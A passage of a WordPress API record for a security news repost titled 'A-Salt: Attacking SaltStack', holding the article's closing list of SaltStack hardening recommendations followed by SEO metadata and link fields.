examples.<\/p>\n<ul>\n<li>Don\u2019t deploy minion auto enrolment reactor scripts.<\/li>\n<li>Check your .sls files for secrets; all minions can read these files. Assume all minions are rogue.<\/li>\n<li>Check your master.conf configuration and make sure your <code>pillar_roots<\/code> paths are not contained within any of your <code>file_roots<\/code> paths.<\/li>\n<li>Never use the <code>data['data']['foo']<\/code> or <code>data['foo']<\/code> notation in a salt reactor script without an accompanying parser (e.g. <code>| json<\/code>).<\/li>\n<li>Move your reactor scripts to be outside of your <code>file_roots<\/code> paths (e.g. <code>\/srv\/reactor\/<\/code> instead of <code>\/srv\/salt\/reactor\/<\/code>).<\/li>\n<li>Assume all minions are compromised and not to be trusted.<\/li>\n<\/ul>\n<p>READ MORE <a href=\"https:\/\/packetstormsecurity.com\/news\/view\/34329\/A-Salt-Attacking-SaltStack.html\">HERE<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>READ MORE HERE&#8230;<\/p>\n","protected":false},"author":2,"featured_media":50575,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"colormag_page_layout":"default_layout","footnotes":""},"categories":[60],"tags":[140],"class_list":["post-50574","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-packet-storm","tag-headlinehacker"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.1 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>A-Salt: Attacking SaltStack 2026 | ThreatsHub Cybersecurity News<\/title>\n<meta name=\"description\" content=\"ThreatsHub Cybersecurity News | ThreatsHub.org | Cloud Security &amp; Cyber Threats Analysis Hub. 100% Free OSINT Threat Intelligent and Cybersecurity News.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.threatshub.org\/blog\/a-salt-attacking-saltstack\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"A-Salt: Attacking SaltStack 2026 | ThreatsHub Cybersecurity News\" \/>\n<meta property=\"og:description\" content=\"ThreatsHub Cybersecurity News | ThreatsHub.org | Cloud Security &amp; Cyber Threats Analysis Hub. 100% Free OSINT Threat Intelligent and Cybersecurity News.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.threatshub.org\/blog\/a-salt-attacking-saltstack\/\" \/>\n<meta property=\"og:site_name\" content=\"ThreatsHub Cybersecurity News\" \/>\n<meta property=\"article:published_time\" content=\"2023-02-15T17:31:05+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/skylightcyber.com\/2023\/02\/09\/a-salt-attacking-saltstack\/powercorp_network_1.png\" \/>\n<meta name=\"author\" content=\"TH Author\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@threatshub\" \/>\n<meta name=\"twitter:site\" content=\"@threatshub\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"TH Author\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"27 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/a-salt-attacking-saltstack\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/a-salt-attacking-saltstack\\\/\"},\"author\":{\"name\":\"TH Author\",\"@id\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/#\\\/schema\\\/person\\\/12e0a8671ff89a863584f193e7062476\"},\"headline\":\"A-Salt: Attacking SaltStack\",\"datePublished\":\"2023-02-15T17:31:05+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/a-salt-attacking-saltstack\\\/\"},\"wordCount\":4461,\"publisher\":{\"@id\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/#organization\"},\"image\":{\"@id\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/a-salt-attacking-saltstack\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/wp-content\\\/uploads\\\/2023\\\/02\\\/a-salt-attacking-saltstack.png\",\"keywords\":[\"headline,hacker\"],\"articleSection\":[\"Packet Storm\"],\"inLanguage\":\"en-US\"},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/a-salt-attacking-saltstack\\\/\",\"url\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/a-salt-attacking-saltstack\\\/\",\"name\":\"A-Salt: Attacking SaltStack 2026 | ThreatsHub Cybersecurity News\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/a-salt-attacking-saltstack\\\/#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/a-salt-attacking-saltstack\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/wp-content\\\/uploads\\\/2023\\\/02\\\/a-salt-attacking-saltstack.png\",\"datePublished\":\"2023-02-15T17:31:05+00:00\",\"description\":\"ThreatsHub Cybersecurity News | ThreatsHub.org | Cloud Security & Cyber Threats Analysis Hub. 100% Free OSINT Threat Intelligent and Cybersecurity News.\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/a-salt-attacking-saltstack\\\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/a-salt-attacking-saltstack\\\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/a-salt-attacking-saltstack\\\/#primaryimage\",\"url\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/wp-content\\\/uploads\\\/2023\\\/02\\\/a-salt-attacking-saltstack.png\",\"contentUrl\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/wp-content\\\/uploads\\\/2023\\\/02\\\/a-salt-attacking-saltstack.png\",\"width\":2912,\"height\":1694},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/a-salt-attacking-saltstack\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"headline,hacker\",\"item\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/tag\\\/headlinehacker\\\/\"},{\"@type\":\"ListItem\",\"position\":3,\"name\":\"A-Salt: Attacking SaltStack\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/#website\",\"url\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/\",\"name\":\"ThreatsHub Cybersecurity News\",\"description\":\"%%focuskw%% Threat Intel \u2013 Threat Intel Services \u2013 CyberIntelligence \u2013 Cyber Threat Intelligence - Threat Intelligence Feeds - Threat Intelligence Reports - CyberSecurity Report \u2013 Cyber Security PDF \u2013 Cybersecurity Trends - Cloud Sandbox \u2013- Threat IntelligencePortal \u2013 Incident Response \u2013 Threat Hunting \u2013 IOC - Yara - Security Operations Center \u2013 SecurityOperation Center \u2013 Security SOC \u2013 SOC Services - Advanced Threat - Threat Detection - TargetedAttack \u2013 APT \u2013 Anti-APT \u2013 Advanced Protection \u2013 Cyber Security Services \u2013 Cybersecurity Services -Threat Intelligence Platform\",\"publisher\":{\"@id\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/#organization\"},\"alternateName\":\"Threatshub.org\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/#organization\",\"name\":\"ThreatsHub.org\",\"alternateName\":\"Threatshub.org\",\"url\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/wp-content\\\/uploads\\\/2025\\\/05\\\/Threatshub_Favicon1.jpg\",\"contentUrl\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/wp-content\\\/uploads\\\/2025\\\/05\\\/Threatshub_Favicon1.jpg\",\"width\":432,\"height\":435,\"caption\":\"ThreatsHub.org\"},\"image\":{\"@id\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/#\\\/schema\\\/logo\\\/image\\\/\"},\"sameAs\":[\"https:\\\/\\\/x.com\\\/threatshub\"]},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/#\\\/schema\\\/person\\\/12e0a8671ff89a863584f193e7062476\",\"name\":\"TH Author\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/066276f086d5155df79c850206a779ad368418a844da0182ce43f9cd5b506c3d?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/066276f086d5155df79c850206a779ad368418a844da0182ce43f9cd5b506c3d?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/066276f086d5155df79c850206a779ad368418a844da0182ce43f9cd5b506c3d?s=96&d=mm&r=g\",\"caption\":\"TH Author\"}}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"A-Salt: Attacking SaltStack 2026 | ThreatsHub Cybersecurity News","description":"ThreatsHub Cybersecurity News | ThreatsHub.org | Cloud Security & Cyber Threats Analysis Hub. 100% Free OSINT Threat Intelligent and Cybersecurity News.","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.threatshub.org\/blog\/a-salt-attacking-saltstack\/","og_locale":"en_US","og_type":"article","og_title":"A-Salt: Attacking SaltStack 2026 | ThreatsHub Cybersecurity News","og_description":"ThreatsHub Cybersecurity News | ThreatsHub.org | Cloud Security & Cyber Threats Analysis Hub. 100% Free OSINT Threat Intelligent and Cybersecurity News.","og_url":"https:\/\/www.threatshub.org\/blog\/a-salt-attacking-saltstack\/","og_site_name":"ThreatsHub Cybersecurity News","article_published_time":"2023-02-15T17:31:05+00:00","og_image":[{"url":"https:\/\/skylightcyber.com\/2023\/02\/09\/a-salt-attacking-saltstack\/powercorp_network_1.png","type":"","width":"","height":""}],"author":"TH Author","twitter_card":"summary_large_image","twitter_creator":"@threatshub","twitter_site":"@threatshub","twitter_misc":{"Written by":"TH Author","Est. reading time":"27 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.threatshub.org\/blog\/a-salt-attacking-saltstack\/#article","isPartOf":{"@id":"https:\/\/www.threatshub.org\/blog\/a-salt-attacking-saltstack\/"},"author":{"name":"TH Author","@id":"https:\/\/www.threatshub.org\/blog\/#\/schema\/person\/12e0a8671ff89a863584f193e7062476"},"headline":"A-Salt: Attacking SaltStack","datePublished":"2023-02-15T17:31:05+00:00","mainEntityOfPage":{"@id":"https:\/\/www.threatshub.org\/blog\/a-salt-attacking-saltstack\/"},"wordCount":4461,"publisher":{"@id":"https:\/\/www.threatshub.org\/blog\/#organization"},"image":{"@id":"https:\/\/www.threatshub.org\/blog\/a-salt-attacking-saltstack\/#primaryimage"},"thumbnailUrl":"https:\/\/www.threatshub.org\/blog\/coredata\/uploads\/2023\/02\/a-salt-attacking-saltstack.png","keywords":["headline,hacker"],"articleSection":["Packet Storm"],"inLanguage":"en-US"},{"@type":"WebPage","@id":"https:\/\/www.threatshub.org\/blog\/a-salt-attacking-saltstack\/","url":"https:\/\/www.threatshub.org\/blog\/a-salt-attacking-saltstack\/","name":"A-Salt: Attacking SaltStack 2026 | ThreatsHub Cybersecurity News","isPartOf":{"@id":"https:\/\/www.threatshub.org\/blog\/#website"},"primaryImageOfPage":{"@id":"https:\/\/www.threatshub.org\/blog\/a-salt-attacking-saltstack\/#primaryimage"},"image":{"@id":"https:\/\/www.threatshub.org\/blog\/a-salt-attacking-saltstack\/#primaryimage"},"thumbnailUrl":"https:\/\/www.threatshub.org\/blog\/coredata\/uploads\/2023\/02\/a-salt-attacking-saltstack.png","datePublished":"2023-02-15T17:31:05+00:00","description":"ThreatsHub Cybersecurity News | ThreatsHub.org | Cloud Security & Cyber Threats Analysis Hub. 100% Free OSINT Threat Intelligent and Cybersecurity News.","breadcrumb":{"@id":"https:\/\/www.threatshub.org\/blog\/a-salt-attacking-saltstack\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.threatshub.org\/blog\/a-salt-attacking-saltstack\/"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.threatshub.org\/blog\/a-salt-attacking-saltstack\/#primaryimage","url":"https:\/\/www.threatshub.org\/blog\/coredata\/uploads\/2023\/02\/a-salt-attacking-saltstack.png","contentUrl":"https:\/\/www.threatshub.org\/blog\/coredata\/uploads\/2023\/02\/a-salt-attacking-saltstack.png","width":2912,"height":1694},{"@type":"BreadcrumbList","@id":"https:\/\/www.threatshub.org\/blog\/a-salt-attacking-saltstack\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/www.threatshub.org\/blog\/"},{"@type":"ListItem","position":2,"name":"headline,hacker","item":"https:\/\/www.threatshub.org\/blog\/tag\/headlinehacker\/"},{"@type":"ListItem","position":3,"name":"A-Salt: Attacking SaltStack"}]},{"@type":"WebSite","@id":"https:\/\/www.threatshub.org\/blog\/#website","url":"https:\/\/www.threatshub.org\/blog\/","name":"ThreatsHub Cybersecurity News","description":"%%focuskw%% Threat Intel \u2013 Threat Intel Services \u2013 CyberIntelligence \u2013 Cyber Threat Intelligence - Threat Intelligence Feeds - Threat Intelligence Reports - CyberSecurity Report \u2013 Cyber Security PDF \u2013 Cybersecurity Trends - Cloud Sandbox \u2013- Threat IntelligencePortal \u2013 Incident Response \u2013 Threat Hunting \u2013 IOC - Yara - Security Operations Center \u2013 SecurityOperation Center \u2013 Security SOC \u2013 SOC Services - Advanced Threat - Threat Detection - TargetedAttack \u2013 APT \u2013 Anti-APT \u2013 Advanced Protection \u2013 Cyber Security Services \u2013 Cybersecurity Services -Threat Intelligence Platform","publisher":{"@id":"https:\/\/www.threatshub.org\/blog\/#organization"},"alternateName":"Threatshub.org","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.threatshub.org\/blog\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/www.threatshub.org\/blog\/#organization","name":"ThreatsHub.org","alternateName":"Threatshub.org","url":"https:\/\/www.threatshub.org\/blog\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.threatshub.org\/blog\/#\/schema\/logo\/image\/","url":"https:\/\/www.threatshub.org\/blog\/coredata\/uploads\/2025\/05\/Threatshub_Favicon1.jpg","contentUrl":"https:\/\/www.threatshub.org\/blog\/coredata\/uploads\/2025\/05\/Threatshub_Favicon1.jpg","width":432,"height":435,"caption":"ThreatsHub.org"},"image":{"@id":"https:\/\/www.threatshub.org\/blog\/#\/schema\/logo\/image\/"},"sameAs":["https:\/\/x.com\/threatshub"]},{"@type":"Person","@id":"https:\/\/www.threatshub.org\/blog\/#\/schema\/person\/12e0a8671ff89a863584f193e7062476","name":"TH Author","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/066276f086d5155df79c850206a779ad368418a844da0182ce43f9cd5b506c3d?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/066276f086d5155df79c850206a779ad368418a844da0182ce43f9cd5b506c3d?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/066276f086d5155df79c850206a779ad368418a844da0182ce43f9cd5b506c3d?s=96&d=mm&r=g","caption":"TH Author"}}]}},"_links":{"self":[{"href":"https:\/\/www.threatshub.org\/blog\/wp-json\/wp\/v2\/posts\/50574","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.threatshub.org\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.threatshub.org\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.threatshub.org\/blog\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.threatshub.org\/blog\/wp-json\/wp\/v2\/comments?post=50574"}],"version-history":[{"count":0,"href":"https:\/\/www.threatshub.org\/blog\/wp-json\/wp\/v2\/posts\/50574\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.threatshub.org\/blog\/wp-json\/wp\/v2\/media\/50575"}],"wp:attachment":[{"href":"https:\/\/www.threatshub.org\/blog\/wp-json\/wp\/v2\/media?parent=50574"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.threatshub.org\/blog\/wp-json\/wp\/v2\/categories?post=50574"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.threatshub.org\/blog\/wp-json\/wp\/v2\/tags?post=50574"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}